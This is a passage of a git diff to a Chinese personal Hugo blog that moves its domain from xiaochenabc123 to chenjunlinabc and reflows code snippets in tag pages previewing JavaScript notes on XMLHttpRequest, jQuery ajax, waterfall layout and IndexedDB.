+objdb.createIndex(&amp;quot;id&amp;quot;,&amp;quot;id&amp;quot;,{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
 添加数据
-var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1);
var db;
var objdb;
datadb.onupgradeneeded = function(event) {
console.log(&amp;quot;数据库升级&amp;quot;);
db = event.</description>
+var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(&amp;quot;数据库升级&amp;quot;); db = event.</description>
     </item>
     
   </channel>
diff --git a/tags/javascript/page/1/index.html b/tags/javascript/page/1/index.html
index 36a6110a..4e0d313f 100644
--- a/tags/javascript/page/1/index.html
+++ b/tags/javascript/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/javascript/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/javascript/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/javascript/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/javascript/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/javascript/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/javascript/"></head></html>
\ No newline at end of file
diff --git a/tags/javascript/page/2/index.html b/tags/javascript/page/2/index.html
index aaa46866..6aed7be0 100644
--- a/tags/javascript/page/2/index.html
+++ b/tags/javascript/page/2/index.html
@@ -1,23 +1,7 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>JavaScript | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/javascript/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/javascript/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JavaScript"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/javascript/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JavaScript"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>JavaScript</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript-XMLHttpRequest对象笔记</h2></header><div class=entry-content><p>ajax请求是异步的，因此可以通过回调函数来处理响应
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>JavaScript | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/javascript/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/javascript/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JavaScript"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/javascript/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JavaScript"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>JavaScript</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript-XMLHttpRequest对象笔记</h2></header><div class=entry-content><p>ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
-xmlhttp.onreadystatechange = function(){
-if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
-document.getElementById("app").innerHTML = xmlhttp.responseText
-}
-}
-console.log(xmlhttp.readyState) // 0
-xmlhttp.open("GET","https://httpbin.org/get",true)
-console.log(xmlhttp.readyState) // 1
-xmlhttp.onprogress =function(){
-console.log(xmlhttp.readyState) // 3
-}
-xmlhttp.onload = function(){
-console.log(xmlhttp.readyState) // 4
-}
-xmlhttp.send();
-XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 && xmlhttp.status == 200){ document.getElementById("app").innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open("GET","https://httpbin.org/get",true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -35,19 +19,8 @@
 XMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0
 XMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）
 XMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：
-onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）...</p></div><footer class=entry-footer><span title='2021-06-16 09:25:49 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-XMLHttpRequest对象笔记" href=https://xiaochenabc123.github.io/posts/14/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>jQuery-ajax()方法笔记</h2></header><div class=entry-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
-$("button").click(function(){
-$.ajax({
-type: "GET",
-url: "https://httpbin.org/get",
-success: function(getdata){
-console.log(getdata)
-}
-})
-})
-});
-参数
+onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）...</p></div><footer class=entry-footer><span title='2021-06-16 09:25:49 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-XMLHttpRequest对象笔记" href=https://chenjunlinabc.github.io/posts/14/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>jQuery-ajax()方法笔记</h2></header><div class=entry-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
+$(document).ready(function(){ $("button").click(function(){ $.ajax({ type: "GET", url: "https://httpbin.org/get", success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -71,7 +44,7 @@
 traditional：指定是否使用传统的方式来序列化数据
 username：指定响应http访问认证请求的用户名
 password：指定响应http访问认证请求的密码
-xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=entry-footer><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery-ajax()方法笔记" href=https://xiaochenabc123.github.io/posts/13/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>原生js实现瀑布流布局</h2></header><div class=entry-content><p>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
+xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=entry-footer><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery-ajax()方法笔记" href=https://chenjunlinabc.github.io/posts/13/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>原生js实现瀑布流布局</h2></header><div class=entry-content><p>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
 首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度
 获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth
 获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight
@@ -84,58 +57,20 @@
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName('imgs');
-function datamain(){
-var datawidtha = window.innerWidth;
-var datawidthb = Math.floor(data[0].offsetWidth);
-var dataab = Math.floor(datawidtha/datawidthb);
-var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
-var arr = [];
-for(var i=0;i&lt;data.length;i++){
-if(i&lt;dataab){
-data[i].style.top = 0;
-data[i].style.left = (datawidthb+ints) * i + "px";
-arr.push(data[i].offsetHeight);
-}else{
-var datamin = arr[0];
-var index = 0;
-for(var a = 0; a&lt;arr....</p></div><footer class=entry-footer><span title='2021-06-16 09:14:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 原生js实现瀑布流布局" href=https://xiaochenabc123.github.io/posts/10/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>IndexedDB浏览器数据库学习笔记</h2></header><div class=entry-content><p>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
+var data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i&lt;data.length;i++){ if(i&lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + "px"; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a&lt;arr....</p></div><footer class=entry-footer><span title='2021-06-16 09:14:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 原生js实现瀑布流布局" href=https://chenjunlinabc.github.io/posts/10/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>IndexedDB浏览器数据库学习笔记</h2></header><div class=entry-content><p>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open("data",1);
-datadb.onerror = function(){
-console.log("数据库打开失败")
-}
-datadb.onsuccess = function(){
-console.log("数据库打开成功");
-}
-datadb.onupgradeneeded = function(event){ console.log("数据库版本升级");
-}
-onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open("data",1); datadb.onerror = function(){ console.log("数据库打开失败") } datadb.onsuccess = function(){ console.log("数据库打开成功"); } datadb.onupgradeneeded = function(event){ console.log("数据库版本升级"); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
-console.log("数据库升级");
-var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"});
-}
-表名为abc，主键为id，主键默认为索引
+datadb.onupgradeneeded = function(event) { console.log("数据库升级"); var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"}); } 表名为abc，主键为id，主键默认为索引
 判断是否存在该表
-if(!event.target.result.objectStoreNames.contains('abc')){
-var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"});
-}
-递增属性(可以用于作为主键)
-var maindb = event.target.result.createObjectStore("abc",{autoIncrement: true});
-唯一属性
-objdb.createIndex("id","id",{unique: false})
-createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
+if(!event.target.result.objectStoreNames.contains('abc')){ var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"}); } 递增属性(可以用于作为主键)
+var maindb = event.target.result.createObjectStore("abc",{autoIncrement: true}); 唯一属性
+objdb.createIndex("id","id",{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
 添加数据
-var datadb = window.indexedDB.open("data",1);
-var db;
-var objdb;
-datadb.onupgradeneeded = function(event) {
-console.log("数据库升级");
-db = event....</p></div><footer class=entry-footer><span title='2021-06-15 19:00:00 +0000 UTC'>2021-06-15</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to IndexedDB浏览器数据库学习笔记" href=https://xiaochenabc123.github.io/posts/5/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/tags/javascript/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+var datadb = window.indexedDB.open("data",1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log("数据库升级"); db = event....</p></div><footer class=entry-footer><span title='2021-06-15 19:00:00 +0000 UTC'>2021-06-15</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to IndexedDB浏览器数据库学习笔记" href=https://chenjunlinabc.github.io/posts/5/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/tags/javascript/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/jest/index.html b/tags/jest/index.html
index 791bfb5c..13a4a2e0 100644
--- a/tags/jest/index.html
+++ b/tags/jest/index.html
@@ -1,25 +1,13 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Jest | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/jest/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/jest/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Jest"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/jest/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Jest"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a 